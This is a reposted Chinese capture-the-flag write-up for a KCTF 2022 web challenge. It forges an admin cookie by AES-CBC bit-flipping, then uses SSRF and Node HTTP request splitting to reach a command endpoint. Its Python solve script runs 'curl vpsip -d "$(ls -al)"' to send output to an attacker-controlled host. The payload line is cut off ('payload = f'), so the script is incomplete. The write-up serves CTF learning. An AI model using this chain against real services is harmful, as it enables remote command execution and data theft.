[原创] 看雪 2022 KCTF 秋季赛 第五题 灾荒蔓延
2022-11-26 14:31:43 Author: bbs.pediy.com(查看原文) 阅读量:13 收藏

[原创] 看雪 2022 KCTF 秋季赛 第五题 灾荒蔓延

2天前 68

[原创] 看雪 2022 KCTF 秋季赛 第五题 灾荒蔓延

感叹一下:

  • 第一名太快啦!吃个饭的功夫,就出一血了
  • 服务器一度卡爆,挂掉!
  • 2202 都快结束了,居然能碰到没有容器化、root 权限起的、可以 rce 的 nodejs !
    • 这么一看不挂才怪(
    • 我很好奇会不会有队伍删 flag / 删题目
  • 是冷饭

访问题目,收到一个 cookie,长 64 的 hex 串。
访问 /admin 提示 you are not admin。稍微修改 cookie 的前部,得到 JsonParse error。更改 cookie 结尾,得到 Decrypt error。显然是一个 AES-CBC 而且还可以 padding oracle。
不难解出 cookie 明文 {"admin":"0"},其实不解也无所谓,逐个字节反转,可以发现页面突然提示 welcome admin, post cmd to /C00mmmmanD。

get /C00mmmmanD,提示又不是 admin 了。考虑到 /search 提供 ssrf,估计是需要从 127.0.0.1 访问。然后做一套 node http crlf。数据带外

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

import requests

url = 'http://150.158.18.137:5329/'

r = requests.get(url)

token = r.cookies['isadmin']

token = bytearray.fromhex(token)

token[10] ^= 1

token = token.hex()

print(token)

cmd = 'curl vpsip -d "$(ls -al)"'

payload = f

final_payload = 'http://localhost:5329/'

for c in payload:

    if c.isalnum():

        final_payload += c

    else:

        final_payload += chr(0x100 + ord(c))

r = requests.get(url + 'search', params={'url': final_payload})

print(r.text)

图片描述

flag{ohhh_Kctf_doyoulike_nodejs}

看雪招聘平台创建简历并且简历完整度达到90%及以上可获得500看雪币~


文章来源: https://bbs.pediy.com/thread-275294.htm
如有侵权请联系:admin#unsafe.sh